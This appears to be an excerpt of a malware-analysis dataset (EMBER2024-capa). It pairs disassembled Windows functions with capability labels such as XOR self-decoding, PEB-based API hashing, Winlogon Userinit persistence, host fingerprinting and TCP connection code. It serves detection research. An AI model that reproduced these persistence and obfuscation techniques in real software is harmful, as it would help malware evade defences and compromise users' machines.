joyce8/EMBER2024-capa huggingface dataset:
Function at 0x462cc0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
mov edi, dword [ebp + 0x10]
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
mov edx, esi
mov eax, ebx
call sym.DJ_4428.dll_Is_NewCard
dec eax
jl 0x462ed2
cmp dword [ebp - 0x10], 1
jne 0x462d08
push 0
push 0
push esi
push ebx
call sym.DJ_4428.dll_DJ_Write_FirstSection
dec eax
jl 0x462ed2
jmp 0x462d17
mov eax, dword [ebp - 0x14]
and eax, 4
cmp eax, 4
je 0x462ed2
mov edx, esi
mov eax, ebx
call fcn.00456298
dec eax
jl 0x462ed2
push esi
push ebx
call sub.MWIC_32.DLL_auto_init
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x462ed2
xor ecx, ecx
push ebp
push 0x462ecb
push dword fs:[ecx]
mov dword fs:[ecx], esp
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.MWIC_32.dll_get_status
movsx eax, ax
test eax, eax
je 0x462d67
call fcn.00403a40
jmp 0x462ed2
mov eax, dword [ebp - 8]
push eax
call sub.MWIC_32.dll_chk_4428
movsx eax, ax
test eax, eax
je 0x462d81
call fcn.00403a40
jmp 0x462ed2
lea eax, [ebp - 0x57]
push eax
push 1
push 0x308
mov eax, dword [ebp - 8]
push eax
call sub.MWIC_32.dll_srd_4428
movsx eax, ax
test eax, eax
je 0x462da6
call fcn.00403a40
jmp 0x462ed2
mov al, byte [ebp - 0x57]
and al, 4
cmp al, 4
je 0x462dd8
add byte [ebp - 0x57], 4
lea eax, [ebp - 0x57]
push eax
push 1
push 0x308
mov eax, dword [ebp - 8]
push eax
call sub.MWIC_32.dll_swr_4428
movsx eax, ax
test eax, eax
je 0x462dd8
call fcn.00403a40
jmp 0x462ed2
mov byte [ebp - 0x57], 0xa2
mov byte [ebp - 0x56], 0x14
mov byte [ebp - 0x55], 0x11
mov byte [ebp - 0x54], 0x29
call fcn.00402988
mov ebx, 4
lea esi, [ebp - 0x53]
mov eax, 0xff
call fcn.00402c38
mov byte [esi], al
inc esi
dec ebx
jne 0x462df5
mov eax, edi
mov ecx, 0xf4240
cdq
idiv ecx
mov ebx, edx
mov eax, ebx
mov ecx, 0x2710
cdq
idiv ecx
call fcn.00456d08
mov byte [ebp - 0x4f], al
mov eax, edi
mov ecx, 0x2710
cdq
idiv ecx
mov ebx, edx
mov eax, ebx
mov ecx, 0x64
cdq
idiv ecx
call fcn.00456d08
mov byte [ebp - 0x4e], al
mov eax, ebx
mov ecx, 0x64
cdq
idiv ecx
mov eax, edx
call fcn.00456d08
mov byte [ebp - 0x4d], al
mov ebx, 4
lea esi, [ebp - 0x4c]
mov eax, 0xff
call fcn.00402c38
mov byte [esi], al
inc esi
dec ebx
jne 0x462e5d
xor eax, eax
mov ebx, 0xf
lea edx, [ebp - 0x57]
xor ecx, ecx
mov cl, byte [edx]
add eax, ecx
inc edx
dec ebx
jne 0x462e77
add al, 0x33
and eax, 0xff
mov byte [ebp - 0x48], al
lea eax, [ebp - 0x57]
push eax
push 0x10
push 0x3a0
mov eax, dword [ebp - 8]
push eax
call sub.MWIC_32.dll_swr_4428
movsx eax, ax
test eax, eax
je 0x462ead
call fcn.00403a40
jmp 0x462ed2
mov dword [ebp - 4], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x462ed2
mov eax, dword [ebp - 8]
push eax
call sub.MWIC_32.dll_ic_exit
ret
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x407054
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004020c3
xor ebx, ebx
cmp dword [0x40d6b8], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x40712a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x40720a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40a510
push edi
call esi
cmp eax, ebx
je 0x40720a
push eax
call fcn.00402055
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40d6b8], eax
call esi
push eax
call fcn.00402055
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40d6bc], eax
call esi
push eax
call fcn.00402055
mov dword [0x40d6c0], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040264e
test eax, eax
pop ecx
pop ecx
je 0x4070f8
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040110a
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x40712a
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00402055
cmp eax, ebx
pop ecx
mov dword [0x40d6c8], eax
je 0x40712a
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402055
pop ecx
mov dword [0x40d6c4], eax
mov eax, dword [0x40d6c4]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x4071af
cmp dword [0x40d6c8], ecx
je 0x4071af
push eax
call fcn.004020cc
push dword [0x40d6c8]
mov esi, eax
call fcn.004020cc
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x4071af
cmp edi, ebx
je 0x4071af
call esi
cmp eax, ebx
je 0x40717c
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40717c
test byte [ebp - 0x18], 1
jne 0x4071af
lea eax, [ebp - 0x10]
push eax
call fcn.00402685
test eax, eax
pop ecx
je 0x407197
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040110a
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x4071a6
or dword [ebp + 0x10], 0x200000
jmp 0x4071ea
or dword [ebp + 0x10], 0x40000
jmp 0x4071ea
mov eax, dword [0x40d6bc]
cmp eax, dword [ebp - 8]
je 0x4071ea
push eax
call fcn.004020cc
cmp eax, ebx
pop ecx
je 0x4071ea
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4071ea
mov eax, dword [0x40d6c0]
cmp eax, dword [ebp - 8]
je 0x4071ea
push eax
call fcn.004020cc
cmp eax, ebx
pop ecx
je 0x4071ea
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40d6b8]
call fcn.004020cc
cmp eax, ebx
pop ecx
je 0x40720a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40720c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0xd7c09f
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
cmp edi, 0x6a4abc5b
mov bx, 0x1da
mov ebx, dword [edx + 0x10]
jmp 0xd2259f
jne 0xd3aad6
mov eax, ebx
jmp 0xd184e2
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0xd5c074
mov edx, dword [edx]
jmp 0xd11b85
ror edi, 0xd
clc
test ax, cx
add edi, eax
jmp 0xd374dd
jmp 0xd73651
cld
xor edx, edx
rol cx, cl
sar cx, cl
mov edx, dword fs:[edx + 0x30]
not cx
xor si, bp
ror si, 0x2a
mov edx, dword [edx + 0xc]
clc
mov edx, dword [edx + 0x14]
rcr ch, cl
mov esi, dword [edx + 0x28]
push 0x18
cmovle cx, dx
pop ecx
clc
sub edi, edi
sub eax, eax
setge al
lodsb al, byte [esi]
jmp 0xd777a5
jmp 0xcff637
loop 0xd73658
jmp 0xd0b691
jmp 0xd3aae3
cmp al, 0x61
jl 0xd33098
sub al, 0x20
clc
jmp 0xd33098
push ebp
mov ebp, esp
bsr si, sp
xor ch, 0x7f
sub esp, 4
setl ch
mov dword [ebp - 4], 0
movzx esi, ax
jmp 0xd3aab6
Function at 0x10001d2a
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push 1
push 0
call sub.kernel32.dll_CreateMutexA
mov ebx, dword [ebp + 0x10]
mov dword [ebx], eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x10001d59
push dword [ebp + 0x10]
call fcn.10001d06
mov eax, 0
jmp 0x10001d6c
cmp dword [ebp + 0xc], 1
jne 0x10001d67
push dword [ebp + 0x10]
call fcn.10001d06
mov eax, 1
leave
ret 0xc

Function at 0x10001da4
Capabilities:
Get disk information
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff734
mov edi, dword [ebp + 8]
mov byte [edi], 0
lea eax, [ebp - 0x800]
push eax
push 0x200
call sub.kernel32.dll_GetLogicalDriveStringsA
lea esi, [ebp - 0x800]
mov ecx, 8
cmp byte [esi], 0
je 0x10001e2a
push ecx
push esi
push esi
call sub.kernel32.dll_GetDriveTypeA
pop esi
cmp eax, 3
jne 0x10001e1e
push esi
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x838]
push eax
push 0
push 0
push esi
call sub.kernel32.dll_GetVolumeInformationA
lea eax, [ebp - 0x832]
push eax
push dword [ebp - 0x838]
call fcn.10007f58
lea eax, [ebp - 0x832]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrcatA
pop esi
push esi
call fcn.10001a3e
add esi, eax
inc esi
pop ecx
loop 0x10001dcf
push dword [ebp + 8]
call sub.kernel32.dll_lstrlenA
or eax, eax
jne 0x10001e71
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x838]
push eax
push 0
push 0
push 0
call sub.kernel32.dll_GetVolumeInformationA
lea eax, [ebp - 0x832]
push eax
push dword [ebp - 0x838]
call fcn.10007f58
lea eax, [ebp - 0x832]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrcatA
mov eax, 0x94
mov dword [ebp - 0x8cc], eax
lea eax, [ebp - 0x8cc]
push eax
call sub.kernel32.dll_GetVersionExA
or eax, eax
je 0x10001eef
lea eax, [ebp - 0x832]
push eax
push dword [ebp - 0x8c0]
call fcn.10007f58
lea eax, [ebp - 0x832]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrcatA
lea eax, [ebp - 0x832]
push eax
push dword [ebp - 0x8c8]
call fcn.10007f58
lea eax, [ebp - 0x832]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrcatA
lea eax, [ebp - 0x832]
push eax
push dword [ebp - 0x8c4]
call fcn.10007f58
lea eax, [ebp - 0x832]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrcatA
push 0xa
lea eax, [ebp - 0x832]
push eax
push 0xa
push 0x400
call sub.kernel32.dll_GetLocaleInfoA
or eax, eax
je 0x10001f17
lea eax, [ebp - 0x832]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrcatA
leave
ret 4

Function at 0x10001f1b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push 0
pop dword [ebp - 0x10]
lea eax, [ebp - 4]
push eax
push 1
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyExA
or eax, eax
jne 0x10001f6f
push 0
pop dword [ebp - 8]
push 4
pop dword [ebp - 0xc]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA
or eax, eax
jne 0x10001f67
push 1
pop dword [ebp - 0x10]
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
mov eax, dword [ebp - 0x10]
leave
ret 0xc
Function at 0x10001f76
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push esi
push 0xa7
push dword [ebp + 8]
call fcn.10001940
mov eax, 0xa7
cmp eax, 0x9c
jb 0x1000205f
mov esi, dword [ebp + 8]
push 0x9c
pop dword [esi]
push dword [ebp + 8]
call sub.kernel32.dll_GetVersionExA
mov dword [ebp - 0x28], eax
or eax, eax
jne 0x10001fce
mov esi, dword [ebp + 8]
push 0x94
pop dword [esi]
push dword [ebp + 8]
call sub.kernel32.dll_GetVersionExA
cmp eax, 0
je 0x10002064
push str.kernel32.dll
call sub.kernel32.dll_GetModuleHandleA
mov edx, eax
push str.GetNativeSystemInfo
push edx
call sub.kernel32.dll_GetProcAddress
or eax, eax
je 0x10001ff5
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x24]
push eax
call dword [ebp - 0x2c]
jmp 0x10001ffe
lea eax, [ebp - 0x24]
push eax
call sub.kernel32.dll_GetSystemInfo
mov esi, dword [ebp + 8]
push word [ebp - 0x24]
pop word [esi + 0xa1]
push dword [ebp - 0xc]
pop dword [esi + 0xa3]
cmp dword [ebp - 0x28], 1
jne 0x10002023
mov al, 1
mov byte [esi + 0x9c], al
push str.kernel32.dll
call sub.kernel32.dll_GetModuleHandleA
mov edx, eax
push str.GetProductInfo
push edx
call sub.kernel32.dll_GetProcAddress
or eax, eax
je 0x10002058
mov dword [ebp - 0x2c], eax
mov esi, dword [ebp + 8]
lea eax, [esi + 0x9d]
push eax
push 0
push 0
push dword [esi + 8]
push dword [esi + 4]
call dword [ebp - 0x2c]
mov eax, 1
jmp 0x10002064
mov eax, 0
or eax, eax
jne 0x1000207a
push 0xa7
push dword [ebp + 8]
call fcn.10001940
mov eax, 0
pop esi
leave
ret 4
Function at 0x1000209d
Capabilities:
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push dword [ebp + 8]
call sub.kernel32.dll_lstrlenA
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push str.REG_SZ
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call sub.advapi32.dll_RegCreateKeyExA
cmp dword [ebp - 8], 2
jne 0x100021a0
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0
push str.Userinit
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 8]
add eax, 2
mov dword [ebp - 8], eax
push dword [ebp - 8]
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x10002198
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push 0
push 0
push str.Userinit
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA
or eax, eax
jne 0x10002190
push dword [ebp - 8]
push dword [ebp - 0xc]
call fcn.10001c79
push dword [ebp - 0xc]
call fcn.10007f90
push dword [ebp - 0x10]
push dword [ebp + 8]
push dword [ebp - 8]
push dword [ebp - 0xc]
call fcn.10001b55
or eax, eax
jne 0x10002190
push 0x1000a30e
push dword [ebp - 0xc]
call sub.kernel32.dll_lstrcatA
push dword [ebp + 8]
push dword [ebp - 0xc]
call sub.kernel32.dll_lstrcatA
push dword [ebp - 0xc]
call sub.kernel32.dll_lstrlenA
push eax
push dword [ebp - 0xc]
push 1
push 0
push str.Userinit
push dword [ebp - 4]
call sub.advapi32.dll_RegSetValueExA
push dword [ebp - 0xc]
call sub.kernel32.dll_GlobalFree
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 4

Function at 0x100023ef
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push 0
pop dword [ebp - 0xc]
cmp dword [ebp + 0xc], 0xffffffff
je 0x10002450
push 0
push dword [ebp + 0xc]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 4], eax
push dword [ebp + 8]
call fcn.100027d4
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.1000236b
cmp eax, 1
jne 0x10002448
push dword [ebp + 8]
call fcn.1000232b
or edx, edx
je 0x10002448
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push edx
push dword [ebp + 0xc]
call sub.kernel32.dll_ReadFile
push 1
pop dword [ebp - 0xc]
push dword [ebp + 0xc]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0xc]
leave
ret 8

Function at 0x1000248e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0
pop dword [ebp - 4]
cmp dword [ebp + 0xc], 0xffffffff
je 0x100024de
cmp dword [ebp + 0x10], 4
jne 0x100024b3
push 2
push 0
push 0
push dword [ebp + 0xc]
call sub.kernel32.dll_SetFilePointer
push dword [ebp + 8]
call fcn.1000232b
or edx, edx
je 0x100024d6
mov ebx, eax
push 0
lea eax, [ebp - 8]
push eax
push ebx
push edx
push dword [ebp + 0xc]
call sub.kernel32.dll_WriteFile
push 1
pop dword [ebp - 4]
push dword [ebp + 0xc]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
leave
ret 0xc
Function at 0x10002860
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc00
lea eax, [ebp - 0x400]
push eax
push 0
push 0x1000a295
push dword [ebp + 8]
call sub.kernel32.dll_GetTempFileNameA
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x100028bd
push eax
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, 0
leave
ret 4
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, 1
leave
ret 4

Function at 0x100028ff
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push 0
pop dword [ebp - 0xc]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x1000294d
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push 1
pop dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
leave
ret 0xc

Function at 0x10002954
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push 0
pop dword [ebp - 0xc]
push 0
pop dword [ebp - 8]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x100029c4
mov dword [ebp - 4], eax
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 8], eax
push dword [ebp - 8]
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x100029b7
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
jmp 0x100029bc
push 0
pop dword [ebp - 8]
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
leave
ret 4

Function at 0x100029ef
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 1
push 0
push 0
push dword [ebp + 8]
push 0
push 0
call sub.shell32.dll_ShellExecuteA
leave
ret 4
Function at 0x10002a84
Capabilities:
Create directory
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf8
push ebx
push edx
push esi
push edi
push ecx
push 0
pop dword [ebp - 0x408]
push 0
pop dword [ebp - 0x404]
cmp dword [ebp - 0x404], 7
je 0x10002c32
mov eax, 0
cmp dword [ebp - 0x404], 0
jne 0x10002ad9
push 0x2fc
lea eax, [ebp - 0x400]
push eax
push str._ProgramFiles_
call sub.kernel32.dll_ExpandEnvironmentStringsA
dec eax
jmp 0x10002b94
cmp dword [ebp - 0x404], 1
jne 0x10002afe
push 0x2fc
lea eax, [ebp - 0x400]
push eax
push str._CommonProgramFiles_
call sub.kernel32.dll_ExpandEnvironmentStringsA
dec eax
jmp 0x10002b94
cmp dword [ebp - 0x404], 2
jne 0x10002b20
push 0x2fc
lea eax, [ebp - 0x400]
push eax
push str._HOMEDRIVE__HOMEPATH_
call sub.kernel32.dll_ExpandEnvironmentStringsA
dec eax
jmp 0x10002b94
cmp dword [ebp - 0x404], 3
jne 0x10002b42
push 0x2fc
lea eax, [ebp - 0x400]
push eax
push str._APPDATA_
call sub.kernel32.dll_ExpandEnvironmentStringsA
dec eax
jmp 0x10002b94
cmp dword [ebp - 0x404], 4
jne 0x10002b5e
push 0x2fc
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
jmp 0x10002b94
cmp dword [ebp - 0x404], 5
jne 0x10002b7a
push 0x2fc
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
jmp 0x10002b94
cmp dword [ebp - 0x404], 6
jne 0x10002b94
lea eax, [ebp - 0x400]
push eax
push 0x2fc
call sub.kernel32.dll_GetTempPathA
push eax
lea eax, [ebp - 0x400]
push eax
call fcn.10002a58
cmp dword [ebp + 8], 0
je 0x10002bb6
push dword [ebp + 8]
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrcatA
push 0
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_CreateDirectoryA
lea eax, [ebp - 0x400]
push eax
call fcn.10002860
or eax, eax
jne 0x10002c20
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrlenA
add eax, 2
push eax
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x10002c1e
mov dword [ebp - 0x408], eax
lea eax, [ebp - 0x400]
push eax
push dword [ebp - 0x408]
call sub.kernel32.dll_lstrcpyA
push dword [ebp - 0x408]
call sub.kernel32.dll_lstrlenA
push eax
push dword [ebp - 0x408]
call fcn.10002a58
jmp 0x10002c32
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
jmp 0x10002aa2
mov eax, dword [ebp - 0x408]
pop ecx
pop edi
pop esi
pop edx
pop ebx
leave
ret 4

Function at 0x10002d44
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe70
lea eax, [ebp - 0x18e]
push eax
push 0x101
call sub.ws2_32.dll_WSAStartup
leave
ret
Function at 0x10002d66
Capabilities:
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push 0xffffffffffffffff
pop dword [ebp - 0x14]
push 6
push 1
push 2
call sub.ws2_32.dll_socket
cmp eax, 0xffffffff
je 0x10002e25
mov dword [ebp - 0x14], eax
push 1
pop dword [ebp - 0x18]
lea eax, [ebp - 0x18]
push eax
push 0x8004667e
push dword [ebp - 0x14]
call sub.ws2_32.dll_ioctlsocket
push 0x10
lea eax, [ebp - 0x10]
push eax
call fcn.10001940
mov word [ebp - 0x10], 2
push dword [ebp + 0xc]
call sub.ws2_32.dll_htons
mov word [ebp - 0xe], ax
cmp dword [ebp + 8], 0
je 0x10002e13
mov eax, dword [ebp + 8]
mov al, byte [eax]
cmp al, 0x30
jb 0x10002dde
cmp al, 0x39
ja 0x10002dde
push dword [ebp + 8]
call sub.ws2_32.dll_inet_addr
cmp eax, 0xffffffff
je 0x10002e13
jmp 0x10002df7
push dword [ebp + 8]
call sub.ws2_32.dll_gethostbyname
cmp eax, 0
je 0x10002e13
mov eax, dword [eax + 0xc]
cmp eax, 0
je 0x10002e13
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
push dword [0x1000a35a]
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
call fcn.10002f65
cmp eax, 0xffffffff
jne 0x10002e25
push dword [ebp - 0x14]
call sub.ws2_32.dll_closesocket
mov eax, 0xffffffff
pop ebx
leave
ret 8
mov eax, dword [ebp - 0x14]
pop ebx
leave
ret 8

Function at 0x10002f3d
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call sub.ws2_32.dll_getsockname
mov eax, dword [ebp - 0xc]
movzx ebx, word [ebp - 0xe]
leave
ret 4

Function at 0x10002f65
Capabilities:
Connect socket
Get socket status

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdec
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ws2_32.dll_connect
mov dword [ebp - 0x214], eax
call sub.ws2_32.dll_WSAGetLastError
cmp dword [ebp - 0x214], 0xffffffff
jne 0x10003050
cmp eax, 0x2733
jne 0x10003050
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x208], 0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x104]
shl ecx, 2
mov dword ss:[ecx + ebp - 0x100], eax
inc dword [ebp - 0x104]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x208]
shl ecx, 2
mov dword ss:[ecx + ebp - 0x204], eax
inc dword [ebp - 0x208]
push dword [ebp + 0x14]
pop dword [ebp - 0x210]
push 0
pop dword [ebp - 0x20c]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
call sub.ws2_32.dll_select
or eax, eax
je 0x10003050
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call sub.ws2_32.dll___WSAFDIsSet
or eax, eax
je 0x10003035
push 0
pop dword [ebp - 0x214]
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
call sub.ws2_32.dll___WSAFDIsSet
or eax, eax
je 0x10003050
push 0xffffffffffffffff
pop dword [ebp - 0x214]
mov eax, dword [ebp - 0x214]
leave
ret 0x10